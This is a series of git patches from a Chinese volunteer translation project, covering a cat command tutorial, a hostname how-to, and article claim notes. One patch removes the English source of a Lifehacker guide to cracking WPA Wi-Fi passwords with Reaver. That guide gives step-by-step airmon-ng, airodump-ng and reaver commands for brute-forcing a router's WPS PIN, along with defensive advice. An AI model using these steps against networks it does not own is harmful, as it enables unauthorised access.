几乎所有linux发行版都内置.接下来请 ### 9. 排序显示 ### -类似. 你也可结合 **sort**管道符对内容进行排序显示. 举例 : +类似. 你也可以结合cat命令与其它命令来进行自定义输出. 如结合 **sort**管道符对内容进行排序显示. 举例 : # cat /root/linux | sort @@ -131,7 +133,7 @@ cat是一条linux内置命令. 几乎所有linux发行版都内置.接下来请 ### 10. 输入重定向 ### -你也可将显示结果输出重定向到屏幕或另一个文件. 只需要使用 > 符号即可输出生成到另一个文件. +你也可将显示结果输出重定向到屏幕或另一个文件. 只需要使用 > 符号（大于号）即可输出生成到另一个文件. # cat /root/linux > /root/linuxdistro @@ -148,7 +150,7 @@ Linux下有多种方法新建文件. 其中使用cat就是方法之一. Windows MacOS -当你打入cat > operating_system,它会生成一个operating_system的文件. 然后下面会显示空行. 此时你可输入内容.比如我们输入Unix, Linux, Windows and MacOS. 输入完成后, **按Ctrl-D**存盘退出cat. 此时你会发现当前文件夹下会生成一个包含你刚才输入内容的叫 **operating_system**的文件. +当你输入cat > operating_system,它会生成一个operating_system的文件. 然后下面会显示空行. 此时你可输入内容.比如我们输入Unix, Linux, Windows and MacOS. 输入完成后, **按Ctrl-D**存盘退出cat. 此时你会发现当前文件夹下会生成一个包含你刚才输入内容的叫 **operating_system**的文件. ### 12.向文件中追加内容 ### @@ -174,7 +176,7 @@ Linux下有多种方法新建文件. 其中使用cat就是方法之一. ### 13. 重定向输入 ### -你可使用 **<**命令将文件输入到cat中 . +你可使用 **<**命令（小于号）将文件输入到cat中. # cat < /root/linux @@ -206,6 +208,6 @@ Linux下有多种方法新建文件. 其中使用cat就是方法之一. via: http://linoxide.com/linux-command/13-cat-command-examples/ -译者：[hongchuntang](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) +译者：[hongchuntang](https://github.com/译者ID) 校对：[Caroline](https://github.com/carolinewuyan) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From bbe9114d4d315fd03c0eb75d99b8bed0c8f740b9 Mon Sep 17 00:00:00 2001 From: carolinewuyan <309866211@qq.com> Date: Wed, 4 Dec 2013 16:32:19 +0800 Subject: [PATCH 109/148] =?UTF-8?q?=E5=B7=B2=E6=A0=A1=E5=AF=B9?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...Command Examples To Manage (Display,Sort,Create etc) Files.md | 1 + 1 file changed, 1 insertion(+) diff --git a/translated/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md b/translated/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md index eb740a50fd..1b450e5a9b 100644 --- a/translated/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md +++ b/translated/13 Linux Cat Command Examples To Manage (Display,Sort,Create etc) Files.md @@ -102,6 +102,7 @@ cat是一条linux内置命令. 几乎所有linux发行版都内置.接下来， 位于/root文件夹里有两人文件取名linux及desktop，每个文件含有以下内容 : **Linux** : ubuntu, centos, redhat, mint and slackware + **Desktop** : gnome kde, xfce, enlightment, and cinnamon 当你想同时查看两文件中的内容时，可按如下方法 : From 7953e400f4a3216346df3327e0ee590b55b969c7 Mon Sep 17 00:00:00 2001 From: tinyeyeser Date: Wed, 4 Dec 2013 16:50:30 +0800 Subject: [PATCH 110/148] =?UTF-8?q?=E7=BF=BB=E8=AF=91=E4=B8=AD=20by?= =?UTF-8?q?=E5=B0=8F=E7=9C=BC=E5=84=BF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...How to Crack a Wi-Fi Network's WPA Password with Reaver.md | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/sources/How to Crack a Wi-Fi Network's WPA Password with Reaver.md b/sources/How to Crack a Wi-Fi Network's WPA Password with Reaver.md index b7feddb5ad..84571634b6 100644 --- a/sources/How to Crack a Wi-Fi Network's WPA Password with Reaver.md +++ b/sources/How to Crack a Wi-Fi Network's WPA Password with Reaver.md @@ -1,3 +1,5 @@ +翻译中 by小眼儿 + How to Crack a Wi-Fi Network's WPA Password with Reaver ================================================================================ ![](http://img.gawkerassets.com/img/17pw3mgej3x93jpg/ku-xlarge.jpg) @@ -151,4 +153,4 @@ via: http://lifehacker.com/5873407/how-to-crack-a-wi+fi-networks-wpa-password-wi [14]:http://lifehacker.com/5756233/get-more-out-of-your-dd+wrt-router-with-an-external-drive?tag=ddwrt [15]:http://lifehacker.com/5680670/turn-your-dd+wrt-enabled-router-into-a-whole-house-ad-blocker?tag=ddwrt [16]:http://lifehacker.com/5563196/turn-your-old-router-into-a-range+boosting-wi+fi-repeater?tag=ddwrt -[17]:http://lifehacker.com/178132/hack-attack-turn-your-60-router-into-a-600-router \ No newline at end of file +[17]:http://lifehacker.com/178132/hack-attack-turn-your-60-router-into-a-600-router From ee575f5553e81b13d445b22469b29a0e75b71a46 Mon Sep 17 00:00:00 2001 From: crowner Date: Wed, 4 Dec 2013 17:35:37 +0800 Subject: [PATCH 111/148] crowner's crown --- ...Apache 2.4 and Php FPM with mod proxy fcgi on Ubuntu 13.10.md | 1 + 1 file changed, 1 insertion(+) diff --git a/sources/Setup Apache 2.4 and Php FPM with mod proxy fcgi on Ubuntu 13.10.md b/sources/Setup Apache 2.4 and Php FPM with mod proxy fcgi on Ubuntu 13.10.md index c43dd1c9bc..5aaecc5dbf 100644 --- a/sources/Setup Apache 2.4 and Php FPM with mod proxy fcgi on Ubuntu 13.10.md +++ b/sources/Setup Apache 2.4 and Php FPM with mod proxy fcgi on Ubuntu 13.10.md @@ -1,3 +1,4 @@ +Crowner's crown Setup Apache 2.4 and Php FPM with mod proxy fcgi on Ubuntu 13.10 ================================================================================ ### mod_proxy_fcgi ### From c2e16d6d2634a004801c5516fb1bf7078c931375 Mon Sep 17 00:00:00 2001 From: Vic___ Date: Wed, 4 Dec 2013 20:25:54 +0800 Subject: [PATCH 112/148] delete --- ...ow To Display And Set Hostname in Linux.md | 143 ------------------ 1 file changed, 143 deletions(-) delete mode 100644 sources/How To Display And Set Hostname in Linux.md diff --git a/sources/How To Display And Set Hostname in Linux.md b/sources/How To Display And Set Hostname in Linux.md deleted file mode 100644 index f450f47ebf..0000000000 --- a/sources/How To Display And Set Hostname in Linux.md +++ /dev/null @@ -1,143 +0,0 @@ - Vic020不好意思的WC -How To Display And Set Hostname in Linux -================================================================================ -![](http://linoxide.com/wp-content/uploads/2013/11/hostname-command-linux.jpg) - -With more and more computer connected to the network, computer need to have an attribute to make it different to each other. Same as human in the real world, computer also hava an attribute which named hostname. - -### What is hostname ### - -From its manual page, hostname is used to display the system’s DNS name and to display or set its hostname or NIS domain name. So hostname is related to DNS (Domain Name System) or NIS (Network Information System). - -### How to display hostname ### - -Hostname is a pre-installed command in every Linux distribution. You can display your machine hostname by typing hostname in your console. Here’s a sample command and the output : - - $ hostname - ubuntu - -The above command will tell you that the computer name is **ubuntu**. - -### How to set a hostname ### - -Hostname is set when you install you Linux at the first time. There is a step in your installation procedure that your Linux will ask you to fill hostname information. However, **you can do it later** if you want. -To set it your hostname, you can use this command : - - # hostname dev-machine - - $ hostname - dev-machine - -You **need to be root** user or equal to set / change your hostname machine. The # sign is indicated that you are a root user. The above command is telling your computer to set its hostname into **dev-machine**. If you don’t receive any error message then your hostname is changed. Again, you check it using hostname command to see the result. - -Setting hostname using hostname command **is not permanent**. When you reboot your computer, your setting will gone. **To make it permanent**, you must manually edit hostname configuration files. - -**On Debian / Ubuntu based Linux** - -You will find it in these folders, **/etc/hostname** and **/etc/hosts**. - -Here’s the content of each files. - -**/etc/hostname** - - # vi /etc/hostname - dev-machine - -**/etc/hosts** - - # vi /etc/hosts - 127.0.0.1 localhost - 127.0.0.1 dev-machine - -You will found it **active immediately without restarting** your Linux. - -**On RedHat / CentOS based Linux** - -You will find it in these folders, **/etc/hosts** and and **/etc/sysconfig/networks** - -Here’s the content of each files. - -**/etc/hosts** - - 127.0.0.1 localhost.localdomain localhost dev-machine - ::localhost 127.0.0.1 - -/etc/sysconfig/network - - NETWORKING=yes - NETWORKING_IPV6=no - HOSTNAME=dev-machine - -### How to display dnsdomainname ### - -From hostname definition above, hostname can also display a dnsname for your Linux. If hostname command will display your hostname, then dnsndomainname command will show your domain name. Let’s see the sample. - - $ dnsdomainname - bris.co.id - -On this article, the result of dnsdomainname command is **bris.co.id**. - -If you see the result is (**none**), then your machine **is not configured in FQDN** (Fully Qualified Domain Name). Dnsdomainname command will grab information from **/etc/hosts** file. You should configure it in FQDN format. Here’s the sample : - -**/etc/hosts** - - 127.0.0.1 localhost.localdomain localhost dev-machine - ::localhost 127.0.0.1 - 192.168.0.104 dev-machine.bris.co.id dev-machine - -To display it more detail, you can use parameter **-v** - - $ dnsdomainname -v - gethostname()=’dev-machine.bris.co.id’ - Resolving ‘dev-machine.bris.co.id’ … - Result: h_name=’dev-machine.bris.co.id’ - Result: h_aliases=’dev-machine’ - Result: h_addr_list=’192.168.0.104’ - -### How to display hostname with more detail information ### - -Hostname command comes with some parameters and some aliases such as dnsdomainname command. Here’s some parameter that may useful on day-to-day operation. The results of the commands below is based on **/etc/hosts** configuration above - -**Display the IP Address** - - $ hostname -i - 192.168.0.104 - -**Display the domain** - - $ hostname -d - bris.co.id - -**Display the the short name** - - $ hostname -s - dev-machine - -*This command will produce the same result with only typing hostname* - -**Display with FQDN format** - - $ hostname -f - dev-machine.bris.co.id - -**Display with detail information** - -All the parameters mentioned above can be ‘**summarized**’ by the parameter **-v and -d**. Let’s take a look the sample - - $ hostname -v -d - gethostname()=’dev-machine.bris.co.id’ - Resolving ‘dev-machine.bris.co.id’ … - Result: h_name=’dev-machine.bris.co.id’ - Result: h_aliases=’dev-machine’ - Result: h_addr_list=’192.168.0.104’ - bris.co.id - -Feel familiar? Yes, this result is the same with **dnsdomainname -v** command that also mentioned above. - --------------------------------------------------------------------------------- - -via: http://linoxide.com/linux-command/display-set-hostname-linux/ - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file From 7ec27417f9b31b204cc4d4d913464c8516192d93 Mon Sep 17 00:00:00 2001 From: Vic___ Date: Wed, 4 Dec 2013 20:27:45 +0800 Subject: [PATCH 113/148] translated --- ...ow To Display And Set Hostname in Linux.md | 150 ++++++++++++++++++ 1 file changed, 150 insertions(+) create mode 100644 translated/How To Display And Set Hostname in Linux.md diff --git a/translated/How To Display And Set Hostname in Linux.md b/translated/How To Display And Set Hostname in Linux.md new file mode 100644 index 0000000000..5521534161 --- /dev/null +++ b/translated/How To Display And Set Hostname in Linux.md @@ -0,0 +1,150 @@ +Linux中如何显示和设置Hostname +================================================================================ +![](http://linoxide.com/wp-content/uploads/2013/11/hostname-command-linux.jpg) + +随着原来越多的计算机连接上网络，计算机需要有一个属性来与其他计算机区别。如同在真实世界的人，计算机也有自己属性叫hostname（主机名称） + +### 什么是hostname ### + +从它的操作手册来看，hostname是用来显示系统的DNS名字以及为了显示和设置它的主机名或者NIS域名名字。所以hostname是依赖于DNS（Domain Name System域名系统）或者NIS（Network Information System网络信息系统）。 + + +### 怎么显示hostname ### + +hostname是为一个linux发行版的预安装命令。通过在控制台输入hostname，可以显示你的机器的hostname。这里有一个有个简单的命令及其输出。 + + + $ hostname + ubuntu + +上面的命令将会告诉你，计算机的名字是**ubuntu** 。 + + +### 如何设置hostname ### + +Hostname当你在第一次安装你的Linux的时候已经设置好了。 就是在你安装你的Linux产品的那步时，将会询问你去填入主机名信息。然而，**你可以稍后填写它**如果你愿意。 +为了设置你的hostname，你可以使用下面的命令： + + # hostname dev-machine + + $ hostname + dev-machine + +你**需要使用root权限**或者同样的权限可以设置/改变你的hostname。#号提示你在使用root用户。上述命令告诉你的计算机设置你的hostname为**dev-machine**。如果你没有收到任何错误消息，那么你的hostname已经改变了。再一次使用hostname命令检查，看看结果。 + +使用hostname命令设置你的hostname**不是永久的**。当你重启你的计算机，你的设定将会取消。**为了永久改变**，你必须手动地修改hostname配置文件。 + +**On Debian / Ubuntu based Linux** +**基于Linux 的 Debian / Ubuntu** + +你可以在下列文件夹找到这个文件， +**/etc/hostname** +或者 +**/etc/hosts** + +下面是每一个文件的内容 + +**/etc/hostname** + + # vi /etc/hostname + dev-machine + +**/etc/hosts** + + # vi /etc/hosts + 127.0.0.1 localhost + 127.0.0.1 dev-machine + +你将会发现修改它会立即生效而不用重启你的linux。 + +**On RedHat / CentOS based Linux** +**基于Linux的 RedHat / CentOS** + +你可以在下列文件夹找到这个文件， +**/etc/hosts** +或者 +**/etc/sysconfig/networks** + +下面是每一个文件的内容 +**/etc/hosts** + + 127.0.0.1 localhost.localdomain localhost dev-machine + ::localhost 127.0.0.1 + +/etc/sysconfig/network + + NETWORKING=yes + NETWORKING_IPV6=no + HOSTNAME=dev-machine + +### 怎么显示DNS域名 ### + +来自上面的hostname的定义，hostname也可以显示你的Linux的DNS名字。如果你的hostname命令会显示你的hostname，那么dnsdomainname命令也就会显示你的域名。来看看这个简单的例子。 + + $ dnsdomainname + bris.co.id + +在本篇文章，dnsdomainname命令的结果是 **bris.co.id**。 + +如果你看见结果是 (**none**),那么你的机器**没有配置完整合格的域名（FQDN（Fully Qualified Domain Name））**。Dnsdomainname命令摘取来自**/etc/hosts**文件的信息。你应该配置它为完整合格的域名格式。接下来一个简单的例子： + +**/etc/hosts** + + 127.0.0.1 localhost.localdomain localhost dev-machine + ::localhost 127.0.0.1 + 192.168.0.104 dev-machine.bris.co.id dev-machine + +为了显示更多的细节，你可以使用参数**-v** + + $ dnsdomainname -v + gethostname()=’dev-machine.bris.co.id’ + Resolving ‘dev-machine.bris.co.id’ … + Result: h_name=’dev-machine.bris.co.id’ + Result: h_aliases=’dev-machine’ + Result: h_addr_list=’192.168.0.104’ + +### 如何显示hostname更多细节信息### + +Hostname命令可以使用多个参数和一些别名如：dnsdomainname命令。这里有一些参数是每日操作中有用的。下面这些命令的结果是基于**/etc/hosts**的上述配置。 + +**显示IP地址** + + $ hostname -i + 192.168.0.104 + +**显示域名** + + $ hostname -d + bris.co.id + +**显示短主机名** + $ hostname -s + dev-machine + +* 这个命令将会产生与输入hostname同样的结果 * + +**显示FQDN格式** + + $ hostname -f + dev-machine.bris.co.id + +**显示细节信息** + +所有的参数包括上述信息，都可以通过使用参数**-v 和 -d** 来概括。让我们来看一个例子。 + + $ hostname -v -d + gethostname()=’dev-machine.bris.co.id’ + Resolving ‘dev-machine.bris.co.id’ … + Result: h_name=’dev-machine.bris.co.id’ + Result: h_aliases=’dev-machine’ + Result: h_addr_list=’192.168.0.104’ + bris.co.id + +感到熟悉？是的，这个结果与**dnsdomainname -v**命令是相同的，同样包含上面的内容。 +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/display-set-hostname-linux/ + +译者：[Vic___](https://blog.csdn.net/Vic___) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file From 8326a7ca14567f968da8b558682a5495d93adaa6 Mon Sep 17 00:00:00 2001 From: Vic___ Date: Wed, 4 Dec 2013 20:30:10 +0800 Subject: [PATCH 114/148] translated modify --- translated/How To Display And Set Hostname in Linux.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/translated/How To Display And Set Hostname in Linux.md b/translated/How To Display And Set Hostname in Linux.md index 5521534161..ea425eac18 100644 --- a/translated/How To Display And Set Hostname in Linux.md +++ b/translated/How To Display And Set Hostname in Linux.md @@ -145,6 +145,6 @@ Hostname命令可以使用多个参数和一些别名如：dnsdomainname命令 via: http://linoxide.com/linux-command/display-set-hostname-linux/ -译者：[Vic___](https://blog.csdn.net/Vic___) 校对：[校对者ID](https://github.com/校对者ID) +译者：[Vic___](http://blog.csdn.net/Vic___) 校对：[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file From 5227048f172e1bc815b23df2de15edfd3acc2d9a Mon Sep 17 00:00:00 2001 From: Vic___ Date: Wed, 4 Dec 2013 20:31:46 +0800 Subject: [PATCH 115/148] Pick up a new one by Vic020 --- sources/GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.md | 1 + 1 file changed, 1 insertion(+) diff --git a/sources/GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.md b/sources/GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.md index 4f9d7de468..bed48ed050 100644 --- a/sources/GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.md +++ b/sources/GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode.md @@ -1,3 +1,4 @@ + Vic020走起 GCC 4.9 Is Now In Bug-Fixes-Only Stage 3 Mode ================================================================================ [GCC 4.9][1] with [its many new features][2] is aiming for a release in the first half of 2014. As of this morning the GCC code-base will not accept new features as it's under a big-fixing-only flag. From cad011927d8abb87727eedabd3a0b0b89cc9b59f Mon Sep 17 00:00:00 2001 From: tinyeyeser Date: Wed, 4 Dec 2013 22:28:33 +0800 Subject: [PATCH 116/148] =?UTF-8?q?=E5=B7=B2=E7=BF=BB=E8=AF=91=20by?= =?UTF-8?q?=E5=B0=8F=E7=9C=BC=E5=84=BF?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: tinyeyeser --- ...i-Fi Network's WPA Password with Reaver.md | 156 ------------------ ...i-Fi Network's WPA Password with Reaver.md | 154 +++++++++++++++++ 2 files changed, 154 insertions(+), 156 deletions(-) delete mode 100644 sources/How to Crack a Wi-Fi Network's WPA Password with Reaver.md create mode 100644 translated/How to Crack a Wi-Fi Network's WPA Password with Reaver.md diff --git a/sources/How to Crack a Wi-Fi Network's WPA Password with Reaver.md b/sources/How to Crack a Wi-Fi Network's WPA Password with Reaver.md deleted file mode 100644 index 84571634b6..0000000000 --- a/sources/How to Crack a Wi-Fi Network's WPA Password with Reaver.md +++ /dev/null @@ -1,156 +0,0 @@ -翻译中 by小眼儿 - -How to Crack a Wi-Fi Network's WPA Password with Reaver -================================================================================ -![](http://img.gawkerassets.com/img/17pw3mgej3x93jpg/ku-xlarge.jpg) - -Your Wi-Fi network is your conveniently wireless gateway to the internet, and since you're not keen on sharing your connection with any old hooligan who happens to be walking past your home, you secure your network with a password, right? Knowing, as you might, how [easy it is to crack a WEP password][1], you probably secure your network using the more bulletproof WPA security protocol. - -Here's the bad news: A new, free, open-source tool called [Reaver][2] exploits a security hole in wireless routers and can crack most routers' current passwords with relative ease. Here's how to crack a WPA or WPA2 password, step by step, with Reaver—and how to protect your network against Reaver attacks. - -In the first section of this post, I'll walk through the steps required to crack a WPA password using Reaver. You can follow along with either the video or the text below. After that, I'll explain how Reaver works, and what you can do to protect your network against Reaver attacks. - -[http://www.youtube.com/embed/z1c1OIMbmb0?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1][3] - -First, a quick note: As we remind often remind readers when we discuss topics that appear potentially malicious: Knowledge is power, but power doesn't mean you should be a jerk, or do anything illegal. Knowing how to pick a lock doesn't make you a thief. Consider this post educational, or a proof-of-concept intellectual exercise. The more you know, the better you can protect yourself. - -### What You'll Need ### - -You don't have to be a networking wizard to use Reaver, the command-line tool that does the heavy lifting, and if you've got a blank DVD, a computer with compatible Wi-Fi, and a few hours on your hands, you've got basically all you'll need. There are a number of ways you could set up Reaver, but here are the specific requirements for this guide: - -![](http://img.gawkerassets.com/img/194pra0777vwyjpg/ku-xlarge.jpg) - -- [**The BackTrack 5 Live DVD**][4]. BackTrack is a bootable Linux distribution that's filled to the brim with network testing tools, and while it's not strictly required to use Reaver, it's the easiest approach for most users. Download the Live DVD [from BackTrack's download page][5] and burn it to a DVD. You can alternately download a virtual machine image if you're using VMware, but if you don't know what VMware is, just stick with the Live DVD. As of this writing, that means you should select BackTrack 5 R3 from the Release drop-down, select Gnome, 32- or 64-bit depending on your CPU (if you don't know which you have, 32 is a safe bet), ISO for image, and then download the ISO. - -- **A computer with Wi-Fi and a DVD drive**. BackTrack will work with the wireless card on most laptops, so chances are your laptop will work fine. However, BackTrack doesn't have a full compatibility list, so no guarantees. You'll also need a DVD drive, since that's how you'll boot into BackTrack. I used a six-year-old MacBook Pro. - -- **A nearby WPA-secured Wi-Fi network**. Technically, it will need to be a network using WPA security with the WPS feature enabled. I'll explain in more detail in the "How Reaver Works" section how WPS creates the security hole that makes WPA cracking possible. - -- **A little patience**. This is a 4-step process, and while it's not terribly difficult to crack a WPA password with Reaver, it's a brute-force attack, which means your computer will be testing a number of different combinations of cracks on your router before it finds the right one. When I tested it, Reaver took roughly 2.5 hours to successfully crack my password. The [Reaver home page][6] suggests it can take anywhere from 4-10 hours. Your mileage may vary. - -### Let's Get Crackin' ### - -At this point you should have BackTrack burned to a DVD, and you should have your laptop handy. - -#### Step 1: Boot into BackTrack #### - -To boot into BackTrack, just put the DVD in your drive and boot your machine from the disc. (Google around if you don't know anything about live CDs/DVDs and need help with this part.) During the boot process, BackTrack will prompt you to to choose the boot mode. Select "BackTrack Text - Default Boot Text Mode" and press Enter. - -Eventually BackTrack will boot to a command line prompt. When you've reached the prompt, type `startx` and press Enter. BackTrack will boot into its graphical interface. - -#### Step 2: Install Reaver #### - -Update: This step is no longer necessary, as Reaver comes pre-installed on Backtrack 5 R3. Skip down to Step 3. - -Reaver has been added to the bleeding edge version of BackTrack, but it's not yet incorporated with the live DVD, so as of this writing, you need to install Reaver before proceeding. (Eventually, Reaver will simply be incorporated with BackTrack by default.) To install Reaver, you'll first need to connect to a Wi-Fi network that you have the password to. - -1. Click Applications > Internet > Wicd Network Manager -1. Select your network and click Connect, enter your password if necessary, click OK, and then click Connect a second time. - -Now that you're online, let's install Reaver. Click the Terminal button in the menu bar (or click Applications > Accessories > Terminal). At the prompt, type: - - apt-get update - -And then, after the update completes: - - apt-get install reaver - -If all went well, Reaver should now be installed. It may seem a little lame that you need to connect to a network to do this, but it will remain installed until you reboot your computer. At this point, go ahead and disconnect from the network by opening Wicd Network Manager again and clicking Disconnect. (You may not strictly need to do this. I did just because it felt like I was somehow cheating if I were already connected to a network.) - -#### Step 3: Gather Your Device Information, Prep Your Crackin' #### - -In order to use Reaver, you need to get your wireless card's interface name, the BSSID of the router you're attempting to crack (the BSSID is a unique series of letters and numbers that identifies a router), and you need to make sure your wireless card is in monitor mode. So let's do all that. - -**Find your wireless card:** Inside Terminal, type: - - iwconfig - -Press Enter. You should see a wireless device in the subsequent list. Most likely, it'll be named `wlan0`, but if you have more than one wireless card, or a more unusual networking setup, it may be named something different. - -![](http://img.gawkerassets.com/img/194prsh4oyo2mjpg/ku-xlarge.jpg) - -**Put your wireless card into monitor mode**: Assuming your wireless card's interface name is `wlan0`, execute the following command to put your wireless card into monitor mode: - - airmon-ng start wlan0 - -This command will output the name of monitor mode interface, which you'll also want to make note of. Most likely, it'll be `mon0`, like in the screenshot below. Make note of that. - -![](http://img.gawkerassets.com/img/194prrjkz8yorjpg/ku-xlarge.jpg) - -**Find the BSSID of the router you want to crack**: Lastly, you need to get the unique identifier of the router you're attempting to crack so that you can point Reaver in the right direction. To do this, execute the following command: - - airodump-ng wlan0 - -(Note: If `airodump-ng wlan0` doesn't work for you, you may want to try the monitor interface instead—e.g., `airodump-ng mon0`.) - -You'll see a list of the wireless networks in range—it'll look something like the screenshot below: - -![](http://img.gawkerassets.com/img/194prtyebc284jpg/ku-xlarge.jpg) - -When you see the network you want, press Ctrl+C to stop the list from refreshing, then copy that network's BSSID (it's the series of letters, numbers, and colons on the far left). The network should have WPA or WPA2 listed under the ENC column. (If it's WEP, use our [previous guide to cracking WEP passwords][7].) - -Now, with the BSSID and monitor interface name in hand, you've got everything you need to start up Reaver. - -#### Step 4: Crack a Network's WPA Password with Reaver #### - -Now execute the following command in the Terminal, replacing `bssid` and moninterface with the BSSID and monitor interface and you copied down above: - - reaver -i moninterface -b bssid -vv - -For example, if your monitor interface was `mon0` like mine, and your BSSID was `8D:AE:9D:65:1F:B2` (a BSSID I just made up), your command would look like: - - reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv - -Press Enter, sit back, and let Reaver work its disturbing magic. Reaver will now try a series of PINs on the router in a brute force attack, one after another. This will take a while. In my successful test, Reaver took 2 hours and 30 minutes to crack the network and deliver me with the correct password. As mentioned above, the Reaver documentation says it can take between 4 and 10 hours, so it could take more or less time than I experienced, depending. When Reaver's cracking has completed, it'll look like this: - -![](http://img.gawkerassets.com/img/18qpo7omnvkbejpg/ku-medium.jpg) - -**A few important factors to consider**: Reaver worked exactly as advertised in my test, but it won't necessarily work on all routers (see more below). Also, the router you're cracking needs to have a relatively strong signal, so if you're hardly in range of a router, you'll likely experience problems, and Reaver may not work. Throughout the process, Reaver would sometimes experience a timeout, sometimes get locked in a loop trying the same PIN repeatedly, and so on. I just let it keep on running, and kept it close to the router, and eventually it worked its way through. - -Also of note, you can also pause your progress at any time by pressing Ctrl+C while Reaver is running. This will quit the process, but Reaver will save any progress so that next time you run the command, you can pick up where you left off-as long as you don't shut down your computer (which, if you're running off a live DVD, will reset everything). - -### How Reaver Works ### - -Now that you've seen how to use Reaver, let's take a quick overview of how Reaver works. The tool takes advantage of a vulnerability in something called Wi-Fi Protected Setup, or WPS. It's a feature that exists on many routers, intended to provide an easy setup process, and it's tied to a PIN that's hard-coded into the device. Reaver exploits a flaw in these PINs; the result is that, with enough time, it can reveal your WPA or WPA2 password. - -Read more details about the vulnerability at [Sean Gallagher's excellent post on Ars Technica][8]. - -### How to Protect Yourself Against Reaver Attacks ### - -Since the vulnerability lies in the implementation of WPS, your network should be safe if you can simply turn off WPS (or, even better, if your router doesn't support it in the first place). Unfortunately, as Gallagher [points out as Ars][9], even with WPS manually turned off through his router's settings, Reaver was still able to crack his password. - -> In a phone conversation, Craig Heffner said that the inability to shut this vulnerability down is widespread. He and others have found it to occur with every Linksys and Cisco Valet wireless access point they've tested. "On all of the Linksys routers, you cannot manually disable WPS," he said. While the Web interface has a radio button that allegedly turns off WPS configuration, "it's still on and still vulnerable. - -So that's kind of a bummer. You may still want to try disabling WPS on your router if you can, and test it against Reaver to see if it helps. - -You could also set up MAC address filtering on your router (which only allows specifically whitelisted devices to connect to your network), but a sufficiently savvy hacker could detect the MAC address of a whitelisted device and use MAC address spoofing to imitate that computer. - -Double bummer. So what will work? - -I have the open-source router firmware [DD-WRT][10] installed on my router and I was unable to use Reaver to crack its password. As it turns out, [DD-WRT does not support WPS][11], so there's yet another reason to love the free router-booster. If that's got you interested in DD-WRT, check their [supported devices list][12] to see if your router's supported. It's a good security upgrade, and DD-WRT can also do cool things like [monitor your internet usage][13], [set up a network hard drive][14], act as a [whole-house ad blocker][15], [boost the range of your Wi-Fi network][16], and more. It essentially [turns your $60 router into a $600 router][17]. - --------------------------------------------------------------------------------- - -via: http://lifehacker.com/5873407/how-to-crack-a-wi+fi-networks-wpa-password-with-reaver - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack -[2]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fcode.google.com%2Fp%2Freaver-wps%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 -[3]:http://www.youtube.com/embed/z1c1OIMbmb0?wmode=transparent&rel=0&autohide=1&showinfo=0&enablejsapi=1 -[4]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fwww.backtrack-linux.org%2Fdownloads%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 -[5]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fwww.backtrack-linux.org%2Fdownloads%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 -[6]:http://go.redirectingat.com/?id=33330X911647&site=lifehacker.com&xs=1&isjs=1&url=http%3A%2F%2Fcode.google.com%2Fp%2Freaver-wps%2F&xguid=&xcreo=0&sref=http%3A%2F%2Flifehacker.com%2F5873407%2Fhow-to-crack-a-wi%2Bfi-networks-wpa-password-with-reaver&pref=http%3A%2F%2Flifehacker.com%2F5953047%2Fhow-to-crack-wep-and-wpa-wi%2Bfi-passwords&xtz=-480&abp=1 -[7]:http://lifehacker.com/5305094/how-to-crack-a-wi+fi-networks-wep-password-with-backtrack 